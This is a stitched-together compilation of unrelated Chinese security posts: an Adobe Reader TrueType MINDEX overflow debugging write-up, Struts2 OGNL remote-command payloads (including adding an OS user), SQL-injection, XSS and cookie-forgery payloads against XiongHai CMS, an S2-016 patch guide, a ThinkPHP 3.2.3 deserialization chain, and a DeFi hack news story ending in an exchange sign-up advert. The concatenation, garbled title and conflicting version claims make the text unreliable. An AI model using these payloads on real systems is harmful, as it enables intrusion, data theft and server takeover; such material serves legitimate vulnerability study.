C5E 2020 15148漏洞分析

一.漏洞描述Adobe Reader在阅读PDF文件时使用一些公共格式载入字体说明，比如TrueTypeFont (TTF).<TTF是Apple公司和Microsoft公司共同推出的字体文件格式>TTF中有几个片段负责格式化存储字体字形的描述，其中一个片段是字节码语言，它由TTF渲染器中的一个解释器执行。这个解释器是一个基于堆栈的虚拟机，因此它使用的大部分指令都以某种方式修改指令。MINDEX指令可以从栈中弹出一个值，并利用这个值作为一个索引进入栈区。该索引上的值被移到栈顶，栈中原有的值依次向下移动以填补移动索引值产生的空间。MINDEX 指令的伪码：     index = stack.pop()     new_top = stack[index]     for (i = 1; i<= index; i++)     stack[i] = stack[i - 1]     stack[0] = new_top由于所有的栈操作都以4byte为单位，故而该索引值为了找到用于移动的位偏移值，会在Adobe Reader的解释器里进行乘以4的运算。但却没有对这个乘法运算进行整数溢出的检测。这个“索引”的原始值作为一个数字元素复制到一个循环中，如果这个“索引”足够大的（在进行乘4运算时能溢出一个小数值的）数值时，会导致缓冲区溢出。1.补充在解析文件时，首先查看“PDF key /FontFile2”可能会获得TTF数据。    找到TTF数据段后，需要对其进行解析，并检查“glyf”表，每个字形条目都可以包含0个或多个TTF字节码格式的指令，需要对他们进行解码和模拟，一次来发现MINDEX指令。    找到MINDEX指令后，需要检查位于栈顶的值（将被用做索引），如果这个值位于下列范围：0x40000001 <= index <= 0x7fffffff ，那么这个PDF文件应标记为恶意的PDF文件。二、   调试环境与工具环境：Windows XP3 +    AdobeReader9.4.0.195工具：OllbDBG + IDA Pro + 010 Editer三、   调试记录载入POC后程序出现内存访问异常:080079CE  MOV DWORD PTR DS:[ECX],EBX   ;ECX=0823F000,EBX=0  ALT+M查看内存窗口，发现程序尝试是向CoolType.dll的.rscr段写入数据，而.rscr段内存一般都只读的，在执行MOV DWORD PTR DS:[ECX],EBX发生了内存访问异常。 按MAPP的描述，发生异常的位置在MINDEX 指令处，载入IDA看看这段代码:回头再看看图1中的EDX，EDX是一个很大的值，而字节码解释器的堆栈位于CoolType.dll的.dada内存中。MINDEX 指令处在取栈最上面的索引值后，跟据索引值计算出偏移量去取值后，堆中的元素向下移动去填补取出值的位置(堆的增长方向是向高地址与windows程序中的堆栈不同)，即高地址的4个字节复制到相邻的低地址的4个字节，如果这个栈中的索引没有验证大小，MINDEX 指令在移动数据直到索引值为0才停下，如果在移动过程中覆盖到重要的数据，此漏洞可变为可利用的漏洞。 .text:0800798B MINDEX          proc near               ; CODE XREF: sub_800690E+49p.text:0800798B                                         ; sub_806C605+48p.text:0800798B                                         ; DATA XREF: .data:0821BF68o.text:0800798B.text:0800798B arg_0           = dwordptr  4.text:0800798B.text:0800798B                 moveax, StackTop.text:08007990                 movecx, Var.text:08007996                 push    ebx.text:08007997                 push    esi.text:08007998                 movesi, [ecx]      ; stack.base.text:0800799A                 lea     edx, [eax-4].text:0800799D                 cmpedx, esi        ; 弹出一个值后的堆栈地址是否大于或栈基.text:0800799F                 push    edi.text:080079A0                 jb      short FailRet.text:080079A0.text:080079A2                 movedi, [ecx+154h] ; Stack.Limit?.text:080079A8                 cmpedx, edi        ; 栈顶是否大于stack.limit.text:080079AA                 jnb     short FailRet.text:080079AA.text:080079AC                 add     eax, 0FFFFFFFCh ; -4.text:080079AF                 movedx, [eax]      ; 取索引.text:080079B1                 movebx, edx.text:080079B3                 shlebx, 2          ; 计算出偏移量,偏移量=索引*4.text:080079B6                 movecx, eax.text:080079B8                 sub     ecx, ebx         ;ebx=偏移量.text:080079BA                 cmpecx, esi.text:080079BC                 jb      short FailRet.text:080079BC.text:080079BE                 cmpecx, edi.text:080079C0                 jnb     short FailRet.text:080079C0.text:080079C2                 test    edx, edx.text:080079C4                 movedi, [ecx]      ; 保存取出的值。.text:080079C6                 jle     short loc_80079D7.text:080079C6.text:080079C8.text:080079C8 Moving:                                 ; CODE XREF: MINDEX+47j.text:080079C8                 decedx.text:080079C9                 lea     esi, [ecx+4].text:080079CC                 movebx, [esi].text:080079CE                 mov     [ecx], ebx.text:080079D0                 movecx, esi.text:080079D2                 jnz     short Moving.text:080079D2.text:080079D4                 sub     eax, 4.text:080079D4.text:080079D7.text:080079D7 loc_80079D7:                            ; CODE XREF: MINDEX+3Bj.text:080079D7                 mov     [eax], edi.text:080079D9                 add     eax, 4.text:080079DC                 movStackTop, eax.text:080079E1                 moveax, [esp+0Ch+arg_0].text:080079E5                 jmp     short loc_80079F6.text:080079E5.text:080079E7 ; ---------------------------------------------------------------------------.text:080079E7.text:080079E7 FailRet:                                ; CODE XREF: MINDEX+15j.text:080079E7                                         ; MINDEX+1Fj MINDEX+31j.text:080079E7                                         ; MINDEX+35j.text:080079E7                 moveax, dwEIP.text:080079EC                 mov     dword_8232434, 1110h.text:080079EC.text:080079F6.text:080079F6 loc_80079F6:                            ; CODE XREF: MINDEX+5Aj.text:080079F6                 pop     edi.text:080079F7                 pop     esi.text:080079F8                 pop     ebx.text:080079F9                 retn.text:080079F9.text:080079F9 MINDEX          endp 四、字节码相关分析通过日志断点打印字节码信息，发现此索引是跟据glyf中的字节码数据计算出来的。1.    打PCode长度信息: 2.设置打印PCode地址信息日志断点:   3.打印虚拟机”指令”信息: 4.虚拟机指令执行前的当前堆栈数据:  5.指令结束后的当前虚拟机堆栈的数据: 6.指令分隔符号信息，便于查看信息: OllyDBG重新载入AdobeReade.exe，在MINDEX 指令的首地址下普通断点后，打开poc文件后开始打印日志,程序停下来之后查看最后的记录：08006927  条件: PCode = 02DD6B3308006928  条件: Instruction = 002608006956  条件: 执行前堆栈[vm_esp] = 400000010800798B  断点位于<CoolType.MINDEX>从打印的信息来看MINDEX 指令是0x26,当前堆栈为[vm_esp] = 0x40000001.0x40000001正好当前栈的索引值。Eax值指向当前PCode的地址。 从分析日志来看:索引的值是7fff + 7fff + 3FFF000308006927  条件: PCode = 02DD6B2A08006928  条件: Instruction = 0078//跳转指令08006956  条件: 执行前堆栈[vm_esp] = 000000000800695E  条件: 执行后[vm_esp] = 3FFF000308006962  条件: **********************************************************************08006927  条件: PCode = 02DD6B2B08006928  条件: Instruction = 0041Push_Imm16，将7fff,7fff压入堆栈再相加08006956  条件: 执行前堆栈[vm_esp] = 3FFF00030800695E  条件: 执行后[vm_esp] = 00007FFF08006962  条件: **********************************************************************08006927  条件: PCode = 02DD6B3108006928  条件: Instruction = 0060  ADD [ESP-4],[ESP]08006956  条件: 执行前堆栈[vm_esp] = 00007FFF0800695E  条件: 执行后[vm_esp] = 0000FFFE7fff + 7fff = fffe08006962  条件: **********************************************************************08006927  条件: PCode = 02DD6B3208006928  条件: Instruction = 0060ADD [ESP-4],[ESP]08006956  条件: 执行前堆栈[vm_esp] = 0000FFFE 0800695E  条件: 执行后[vm_esp] = 40000001 3FFF0003 + fffe = 4000000108006962  条件: **********************************************************************08006927  条件: PCode = 02DD6B3308006928  条件: Instruction = 0026 MINDEX 指令08006956  条件: 执行前堆栈[vm_esp] = 400000010800798B  断点位于<CoolType.MINDEX>   再往上查看日志3FFF0003是从哪来的:分析日志得知:00FFFC00 + 3EFF0403 = 3FFF000308006962  条件: **********************************************************************08006927  条件: PCode = 02DED7D208006928  条件: Instruction = 004108006955  条件: 执行前VM_ESP地址= 0823623008006956  条件: 执行前堆栈[vm_esp] = 3EFF04030800695E  条件: 执行后[vm_esp] = 00007FFF0800695F  条件: 执行后VM_ESP地址= 0823623808006962  条件: **********************************************************************08006927  条件: PCode = 02DED7D808006928  条件: Instruction = 006308006955  条件: 执行前VM_ESP地址= 0823623808006956  条件: 执行前堆栈[vm_esp] = 00007FFF0800695E  条件: 执行后[vm_esp] = 00FFFC000800695F  条件: 执行后VM_ESP地址= 0823623408006962  条件: **********************************************************************08006927  条件: PCode = 02DED7D908006928  条件: Instruction = 0060ADD [ESP-4],[ESP]08006955  条件: 执行前VM_ESP地址= 0823623408236234的值是7FFF而08236234-4的值是3EFF040308006956  条件: 执行前堆栈[vm_esp] = 00FFFC000800695E  条件: 执行后[vm_esp] = 3FFF0003   00FFFC00 + 3EFF0403 = 3FFF00030800695F  条件: 执行后VM_ESP地址= 0823623008006962  条件: ********************************************************************** 日志最开始的地方显示PCode的长度为0x79:08006917  条件: Pcode长度= 00000079 一直通过追述到源头到发现此值是在一个循环中逐步增加计算索引的一个过程。复制内存中的PCode在010 Editer中查看: 最后此漏洞分析到此完成了，还有很多东西不相关的分析没有贴上来，对于文件格式不明白，所以还有很多东西搞不清楚

在2013年6月底发布的Struts 2.3.15版本被曝出存在重要的安全漏洞 ，主要问题如下： 可远程执行服务器脚本代码 用户可以构造http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}链接，command goes here可以换成是破坏脚本的路径和参数，比如fdisk -f等，造成破环系统无法运行的目的。 重定向漏洞 用户可以构造如知名网站淘宝的重定向连接，形如<a href="http://www.淘宝.com/item00001.html?redirect:http://黑客/getyourPassword">打折新款</a>,引导用户点击后进入钓鱼网站，在界面上让其进行登陆用以获取用户的密码。 造成的影响： 苹果、中国移动、中国联通、百度、腾讯、淘宝、京东、Sohu、民生银行等大型企业的网站均遭毒手，运维　工程师苦不堪言。 应对措施： Apache团队紧急发布了Struts 2.3.15.1安全更新版本,可升级到此版本来解决上述问题。struts2漏洞攻击方法与解决方案1、原理Struts2的核心是使用的webwork框架，处理 action时通过调用底层的getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当我们提交一个http参数： ?user.address.city=Bishkek&user['favoriteDrink']=kumys  ONGL将它转换为：复制代码代码如下:action.getUser().getAddress().setCity("Bishkek") action.getUser().setFavoriteDrink("kumys") 这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现“#”字符，但如果使用了Java的 unicode字符串表示\u0023，攻击者就可以绕过保护，修改保护Java方式执行的值： 此处代码有破坏性，请在测试环境执行，严禁用此种方法进行恶意攻击复制代码代码如下:?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1 转义后是这样：?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#[email protected]@getRuntime()))=1  OGNL处理时最终的结果就是java.lang.Runtime.getRuntime().exit(1);  //关闭程序，即将web程序关闭 类似的可以执行java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户，在有权限的情况下能成功（在URL中用%20替换空格，%2F替换/）只要有权限就可以执行任何DOS命令。 2、解决方法网上很多文章都介绍了三种解决方法，个人觉得将struts2的jar包更新到最新版本最简单，不用更改任何程序代码，目前最新版本2.3.4 下载到的更新包中有很多jar包，我系统中主要用到以下几个替换掉旧版本的：commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)javassist-3.11.0.GA.jar        (新加包)ognl-3.0.5.jar            (替换旧版本)struts2-core-2.3.4.1.jar    (替换旧版本)xwork-core-2.3.4.1.jar        (替换旧版本)本文大部分内容复制于其他文章： http://my-corner.iteye.com/blog/720209

目录前言基本结构SQL注入漏洞第一处第二处第三处XSS漏洞第一处第二处CSRF漏洞第一处垂直越权第一处结语前言 熊海CMS是由熊海开发的一款可广泛应用于个人博客，个人网站，企业网站的一套网站综合管理系统。作为一个早期的系统，里面代码存在许多漏洞利用点，且代码量低适合作为代码审计的入门挑战，本文就带领大家对该系统存在的漏洞进行分析。 基本结构 这里我选择使用小皮面板搭建在了本地，以便于调试错误，首先我们看看系统的结构： ——admin //后台⽂件 ——css //css⽂件 ——files //功能函数⽂件 ——images //图⽚ ——index.php //主⽬录⽂件 ——install //安装⽂件 ——seacmseditor //编辑器 ——template //模板⽂件 ——upload //⽂件上传⽬录 SQL注入漏洞 第一处 我们跳转到admin/files/editlink.php，分析里面的一段代码： $id=$_GET['id']; $type=$_GET['type']; if ($type==1){ $query = "SELECT * FROM nav WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误：'.mysql_error()); $nav = mysql_fetch_array($resul); } 简单分析一下，我们通过GET输入id和type，之后type与1进行对比，匹配后会执行SQL语句，了解SQL注入漏洞的朋友可能会看出这里有一个单引号闭合漏洞，我们只需在参数前进行构造闭合单引号，之后便可以成功执行自定义的SQL语句： r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23 需要注意的是作为结果只返回给我们SQL语句正确与否，所以这里考虑使用错报注入。 第二处 admin/files/editlink.php这个路径下有一段代码： $id=$_GET['id']; $query = "SELECT * FROM link WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误：'.mysql_error()); $link = mysql_fetch_array($resul); 这里同样存在一个GET传参点，我们可以传入变量名为id的值，之后会执行SQL语句查询ID，若SQL语句有误，进行错报，因为是单引号闭合这里可以和第一处一样使用错报注入。 id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23 第三处 /file/download.php这个路径下的代码： $llink=addslashes($_GET['r']); $query = "SELECT * FROM nav WHERE link='$llink'"; 可以看到里面有addslashes函数： 这个函数会将预定义字符转换加上反斜杠，所以我们无法进行正常的单引号闭合，需要想办法绕过，方法也很多，这里就简单用宽字节注入绕过,具体使用方法可以参考我之前的文章： https://www.jb51.net/article/276349.htm 参考大佬的payload: r=%df%27or%20if(1,sleep(3),1)%20%23 XSS漏洞 第一处 在/file/contact.php出存在漏洞代码： $page=addslashes($_GET['page']); <?php echo $page?> 可以看到直接echo出了page变量，而该变量是我们直接可以GET传入的，这里我们直接使用弹窗payload: <img src=1 onerror=alert(/xss/)> 第二处 在/files/content.php出，存在与第一处差不多的代码： $page=addslashes($_GET['page']); if ($page<>""){ if ($page<>1){ $pages="第".$page."页 - "; } 我们也可以向上面一样将语句传进变量里去。 CSRF漏洞 第一处 这里以/admin/files/wzlist.php为例： $delete=$_GET['delete']; if ($delete<>""){ $query = "DELETE FROM content WHERE id='$delete'"; $result = mysql_query($query) or die('SQL语句有误：'.mysql_error()); echo "<script>alert('亲，ID为".$delete."的内容已经成功删除！');location.href='?r=wzlist'</script>"; exit; 可以看到代码执行删除SQL语句时并没有对代码进行检测，删除操作对应下面的界面： 我们先尝试删除然后进行抓包，抓到了删除时GET进行的传参： ?r=wzlist&delete=18 之后换另一个浏览器访问整个payload,结合该系统中的一个越权操作，将user改成admin,之后访问，成功实现了跳过验证进行了删除操作。 当然这只是其中的一个点，softlist.php也存在类似的CSRF漏洞。 垂直越权 第一处 在/inc/checklogin.php中，这里只看存在漏洞的代码： $user=$_COOKIE['user']; if ($user==""){ header("Location: ?r=login"); exit; 这里直接给user的cookie值设置成admin,即可跳转管理员界面。 结语 今天给大家带来的是一个小型CMS的代码审计，当然该系统的漏洞远不止文中提到的这些，总的来说还是挺简单的，有兴趣的小伙伴可以自己下载源码去搭建系统

Struts2的S2-016漏洞是之前比较重大的漏洞，也是一些老系统的历史遗留问题 此漏洞影响struts2.0-struts2.3的所有版本，可直接导致服务器被远程控制从而引起数据泄漏,影响巨大 漏洞修复总结有4种方式： 1、升级版本 这也是Apache官方给出的建议，把Struts2的版本升级到2.3.15以上的版本，这种方式只需要替换一些jar包，归纳如下： commons-lang3-3.2.jar freemarker-2.3.22.jar javassist-3.11.0.GA.jar ognl-3.0.6.jar struts2-core-2.3.24.jar struts2-spring-plugin-2.3.24.jar xwork-core-2.3.24.jar 只需要用上述jar包(版本可能会有差距)替换老系统中的旧版本jar包； 但是这种方式存在一定的缺陷，如果系统非常复杂，可能会有版本不兼容，jar版本冲突，导致系统功能不能 使用的情况； 2、覆盖JAR包 下载上述图片，把后缀名改为zip，把里面解压出来的三个文件夹添加到漏洞的系统的src目录下 然后再web.xml文件中添加代码：复制代码代码如下:<listener> <listener-class>org.hdht.commonweb.listener.MyServletContextListener</listener-class> </listener> 最后发布项目，重启服务器 3、修改Struts2的源码 找到项目中的struts2-core-2.2.3.jar，反编译得到源码，在eclipse中新建一个java项目，把反编译的源码导进去 修改org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java这个文件中的handleSpecialParameters方法 在while循环(for循环)中加入下面代码：复制代码代码如下:if (key.endsWith(".x") || key.endsWith(".y")) { key = key.substring(0, key.length() - 2); } 保存，这个新项目可能会有错误，需要导入两个jar包，xwork-core-2.1.6.jar和servlet-api.jar 把这个新项目导出成jar包，把下图中的7个类，替换掉原先struts2-core-2.2.3.jar中的7个类4、结合上面的第2和第3种方式 还是需要用到struts2的源码，同第3步，反编译得到源码，导入到一个新的项目中 下载第2步中的压缩包，解压之后得到三个文件，把这三个文件夹添加到新项目的 org\apache\struts2\dispatcher\mapper包中，如下图 然后，再修改org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java这个文件中的handleSpecialParameters方法 在while循环中加入如下代码：复制代码代码如下:if (JavaEEbugRepair.repair_s2_017(key)) { return; } if ((key.contains("action:")) || (key.contains("redirect:")) || (key.contains("redirectAction:"))) { return; }保存，把新项目导出成jar包 把原来jar中的7个类替换，加入新包repair，再把替换之后的jar复制到项目中，替换之前的jar包 总结： 以上4种方式基本能处理所有项目的S2-016漏洞；

目录前言魔术方法复现结语前言 ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。随着框架代码量的增加，一些潜在的威胁也逐渐暴露，本文给大家带来的是对Thinkphp3.2.3版本框架里面的反序列化漏洞进行分析，浅谈原理以及如何应用。 魔术方法 因为之前已经讲过了，这里就简单提一下，以下面这个魔术方法为例： _destruct 该方法的作用是，某个对象的所有引用都被删除或者当对象被显式销毁时执行。例如下面代码： <?php class User{ public function __destruct() { echo "xino</br>"; } } $test = new User(); $ser = serialize($test); unserialize($ser); ?> 执行后会发现调用了魔术方法，我们要想办法来寻找代码之间的关系来构造 反序列化链，常见魔术方法如下： 了解完魔术方法如何触发后便开始我们TP3反序列化漏洞的学习之旅。 复现 这里我是用小皮面板搭建好环境后开始我们的分析，下面是主界面： 需要在控制器IndexController.class.php 处写入： public function index(){ unserialize(base64_decode($_GET[1])); } 首先走到Library/Think/Image/Driver/Imagick.class.php ，代码如下： public function __destruct() { empty($this->img) || $this->img->destroy(); } } 这里有一个可控的变量img,因为该变量走向了destory()，于是我们寻找一下： Library/Think/Session/Driver/Memcache.class.php ,该处有个一样的方法： public function destroy($sessID) { return $this->handle->delete($this->sessionName . $sessID); } 我们会发现handle和sessionName参数是可控，因为走向了delete函数,于是继续跟进寻找delete，在Mode/Lite/Model.class.php 处： public function delete($options = array()) { $pk = $this->getPk(); if (empty($options) && empty($this->options['where'])) { // 如果删除条件为空 则删除当前数据对象所对应的记录 if (!empty($this->data) && isset($this->data[$pk])) { return $this->delete($this->data[$pk]); } else { return false; } } if (is_numeric($options) || is_string($options)) { // 根据主键删除记录 if (strpos($options, ',')) { $where[$pk] = array('IN', $options); } else { $where[$pk] = $options; } $options = array(); $options['where'] = $where; } // 根据复合主键删除记录 if (is_array($options) && (count($options) > 0) && is_array($pk)) { $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) { $count++; } } if (count($pk) == $count) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } // 分析表达式 $options = $this->_parseOptions($options); if (empty($options['where'])) { // 如果条件为空 不进行删除操作 除非设置 1=1 return false; } if (is_array($options['where']) && isset($options['where'][$pk])) { $pkValue = $options['where'][$pk]; } if (false === $this->_before_delete($options)) { return false; } $result = $this->db->delete($options); //数据库驱动类中的delete() if (false !== $result && is_numeric($result)) { $data = array(); if (isset($pkValue)) { $data[$pk] = $pkValue; } $this->_after_delete($data, $options); } // 返回删除记录个数 return $result; } 这里比较复杂，需要分析一下，pk,pk,pk,data,$options参数都是可控的，第二次调用该函数后是调用db(Library/Think/Db/Driver.class.php )里面的函数，进去看一下： $table = $this-&gt;parseTable($options['table']); $sql = 'DELETE FROM ' . $table; return $this-&gt;execute($sql, !empty($options['fetch_sql']) ? true : false); 这里只贴了比较关键的代码，看到table经过parseTable处理之后进了sql语句，跟进了发现没有过滤什么，直接返回了数据，最后调用了execute，我们分析其代码： public function execute($str,$fetchSql=false) { $this->initConnect(true); if ( !$this->_linkID ) return false; $this->queryStr = $str; if(!empty($this->bind)){ $that = $this; $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind)); } if($fetchSql){ return $this->queryStr; } 看到第二行是一个初始化连接的代码，我们跟进到最后发现： public function connect($config = '', $linkNum = 0, $autoConnection = false) { if (!isset($this->linkID[$linkNum])) { if (empty($config)) { $config = $this->config; } try { if (empty($config['dsn'])) { $config['dsn'] = $this->parseDsn($config); } if (version_compare(PHP_VERSION, '5.3.6', '<=')) { // 禁用模拟预处理语句 $this->options[PDO::ATTR_EMULATE_PREPARES] = false; } $this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options); } catch (\PDOException $e) { if ($autoConnection) { trace($e->getMessage(), '', 'ERR'); return $this->connect($autoConnection, $linkNum); } elseif ($config['debug']) { E($e->getMessage()); } } } return $this->linkID[$linkNum]; } 可以通过里面的相应代码： $this->config 建立数据库连接，整个的POP链跟进顺序如下： __destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()-> 因为构造poc较长，这里只贴关键处，有兴趣的小伙伴可以自行去构造: public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( "table" => "name where 1=updatexml(1,user(),1)#", "where" => "1=1" ); } 生成后传入payload即可实现错报注入，体现在payload里就是table这个语句，经过一串的操作使之与数据库连接来执行sql语句： 结语 给大家带来了tp3的反序列化漏洞分析，主要还是要理清各个链的关系以及如何让它们联系起来，有兴趣的小伙伴可以自己去搭建尝试，喜欢本文的小伙伴希望可以一键三连支持一下。 以上就是Thinkphp3.2.3反序列化漏洞实例分析的详细内容，更多关于Thinkphp 反序列化漏洞的资料请关注本站其它相关文章！

Yishi 开撕 Resupply：这不是黑天鹅事件，是人祸，是开发层级的严重疏忽。近年来，DeFi 领域的快速发展吸引了无数投资者和开发者，但其高风险和高回报并存的特性也频频引发不小问题，比如频频上演的骇客攻击盗取资金事件就困扰不少链上理财与套利者。6 月 27 日，DeFi 协议 Resupply 因重大安全漏洞导致 960 万美元的资金被盗，这一事件因 OneKey 创办人王一石（Yishi Wang）发起的维权行动而被社群广为人知。Yishi 作为 Resupply 的主要投资人2025-07-01之一，公开批评专案方的失误并呼吁相关方承担责任，其行动在社群内引发了广泛讨论，甚至与 Curve 创办人 Michael Egorov 的激烈交锋。合约漏洞致用户资金被洗劫一空Resupply 新兴的 DeFi 协议，旨在通过创新的流动性管理和收益策略吸引使用者和投资者。DeFi 协议通常通过智慧合约实现资金池的自动化管理，允许使用者存入加密资产以获取收益。然而，这类协议的複杂性和程式码漏洞常常成为骇客攻击的目标。Resupply 自推出以来，凭藉其高收益承诺和与 Curve、Convex、Yearn 等知名 DeFi 专案的合作，迅速吸引了大量资金和关注，被盗事件发生前管理着数亿美元的资产。加密钱包公司 OneKey 的创办人王一石，是 Resupply 的前三大投资人之一。据其 X 上的公开宣告，他个人向 Resupply 投资了数百万美元，本次攻击事件不仅造成了重大经济损失，也带来了巨大的心理压力。根据 Yishi 的分析，事件的根本原因是 Resupply 团队在部署新资金池（vault）时未能销燬初始份额，导致智慧合约中的 ERC-4626 标準出现 「通膨型铸币漏洞」。这一漏洞允许攻击者以零成本铸造无限量的代币，进而将资金池中的资产洗劫一空。Yishi 评论道：「这不是黑天鹅事件，是人祸，是开发层级的严重疏忽。」 他指出，这一漏洞并非外部骇客利用複杂技术手段，而是团队在基础程式码部署上的低阶错误。这种失误在 DeFi 领域尤为致命，因为智慧合约的不可篡改性意味着一旦漏洞被利用，损失几乎无法挽回。沉默、禁言并尝试让投资者承担损失区块链骇客攻击事件时时刻刻都在不断上演，过去数年有多个公链、DeFi、交易所都上演过被骇客攻击的惊魂时刻。我们会发现，其官方团队往往会及时表态，并第一时间向骇客喊话，然而 Resupply 团队的处理方式则令人匪夷所思。不仅沉默应对骇客攻击者，甚至「直至目前仍未做技术溯源 / 白帽赏金有关工作」。Yishi 透露，团队并未第一时间展开调查或报警，而是试图通过保险池让投资者承担损失，同时在官方 Discord 伺服器中封锁质疑者的发言。身为主要投资人的 Yishi 在提出合理质疑后，竟被团队无预警禁言，这一行为令他感到 「震惊且愤怒」。最新提案显示，专案方将通过保险池来承担坏帐面对 Resupply 团队的不作为和压制异议的态度，Yishi 选择在 X 平台上公开维权。他发表长文，详细披露了事件的前因后果，并点名批评 Resupply 团队的失责行为。他强调保险池的设计是为了应对不可预测的黑天鹅事件，而非弥补开发团队的低阶错误。他质问道：「如果开发失误都可以由使用者买单，那这根本是劫富济穷的假保险。」Yishi 的维权行动不仅针对 Resupply 团队，还延伸至与该专案合作的知名 DeFi 协议，如 Curve、Convex 和 Yearn。他指出，这些专案通过为 Resupply 提供流动性支援和背书，获得了曝光和收益，因此在事件发生后不应置身事外。特别是 Curve，其稳定币 crvUSD 在 Resupply 的资金池中扮演了重要角色。Yishi 呼吁这些专案的开发者和财库共同承担赔偿责任，以弥补投资者的损失。据公开资讯显示，近年其相关协议专案方平均每年被盗 1000 万美元，也引发社群对其监守自盗的怀疑。2021 年 Yearn Finance 约 1100 万美元 由于合约业务逻辑漏洞，攻击者利用协议未充分防护的资金流动性，进行闪电贷攻击，操控资金池实现套利。2023 年 3 月 Yearn Finance 约 140 万美元 受 Euler Finance 被黑影响，Yearn Finance 与其存在资金关联，导致间接受损，本身合约无漏洞。2023 年 4 月 13 日 Yearn Finance 约 1160 万美元 早期 iearn yUSDT 合约配置错误，合约指向了错误的资产池（USDC 而非 USDT），攻击者利用该配置漏洞，通过铸造巨量 yUSDT 后套现 2 6。2024 年 3 月 28 日 Prisma Finance 约 1000 万美元 合约存在许可权管理和业务逻辑漏洞，攻击者部署恶意合约，通过多笔操作盗取资金，手法涉及函式许可权问题和合约呼叫缺陷 1 5 6。2025 年 6 月 26 日 Convex Finance（Resupply 子 DAO） 约 1000 万美元 Resupply 子 DAO 合约存在业务逻辑漏洞，攻击者利用合约缺陷非法转移资金，具体为合约许可权或资金流转校验不足。此外，Yishi 还对 Resupply 团队的沟通态度提出批评。他表示团队不仅缺乏透明度，甚至对提出异议的投资者进行嘲讽和封禁，这种行为是对社群信任的严重背叛。他呼吁 Resupply 制定公平的解决方案，将因技术失误导致的损失归还给使用者。很快 Yishi 便遭到匿名人士的私信攻击，释出带有歧视意味的模仿性词彙 ching chong，也一度引发华语社群的普遍不满。冲突升级：与 Curve 创办人的交锋Yishi 的公开维权很快引起与 Curve 创办人 Michael Egorov 的直接冲突。在此之前，Curve Finance 官方就此安全事件发表宣告，「虽然 Resupply 并非由 Curve 开发者开发，但 Resupply 建立者能力出众、经验丰富，相信他们会竭尽全力解决这一问题。」然而事件并未就此结束。据 Yishi 透露，Michael 曾私下表示要起诉他，理由是其言论 「抹黑了 Curve 的名声」。这一讯息在 X 平台上引发了社群的激烈争论，许多人认为 Curve 作为 Resupply 的合作伙伴，理应承担部分责任，而非通过法律威胁压制批评。Yishi 在 X 上回应道：「Michael 说要起诉我汙衊 Curve 的名声。问这是一种什么样的行为？老实人就活该被欺负是吧？」 他表示，儘管尊重 Michael 为调解事件所做的努力，但他不会因此放弃追责。随着事件发酵，一些使用者开始将 Yishi 的个人维权行动与 OneKey 品牌挂钩，甚至指责 OneKey 「组织舆论攻击」 Resupply。针对这些指控，OneKey 于 6 月 29 日在 X 平台释出严正宣告，澄清公司从未参与或操控任何舆论攻击，Yishi 的维权行为属于其个人投资行为，与 OneKey 的业务无关。小结Resupply 事件不仅是 Yishi 个人维权的缩影，也折射出 DeFi 行业在快速发展中暴露出的诸多问题。首先，智慧合约的安全性仍是 DeFi 专案的核心挑战。儘管 Resupply 的漏洞看似低阶，但类似事件在 DeFi 领域并不鲜见。2024 年，全球因骇客攻击和诈骗导致的加密货币损失已超过 22 亿美元，凸显了行业安全标準的亟待提升。其次，Resupply 团队的处理方式暴露了 DeFi 专案在危机管理中的不足。缺乏透明度、压制异议、推卸责任等行为不仅损害了投资者的信任，也可能对专案的长期发展造成毁灭性打击。Yishi 的维权行动提醒社群，投资者有权要求专案方对技术失误承担责任，而不是将损失转嫁给使用者。事件还引发了对 DeFi 生态中合作伙伴责任的讨论。Curve、Convex 等专案因与 Resupply 的合作而被捲入争议，这表明 DeFi 专案的互联性既是其优势，也可能成为风险的放大器。未来，如何在生态合作中明确责任分配，将是 DeFi 行业需要解决的重要课题。注册欧易，充值USDT，畅享安全高效投资加入欧易App，注册领400美元大礼，充值送450 USDT超值返利！欧易app官方注册地址：☛☛☛点击进入欧易app官方下载地址：☛☛☛立即下载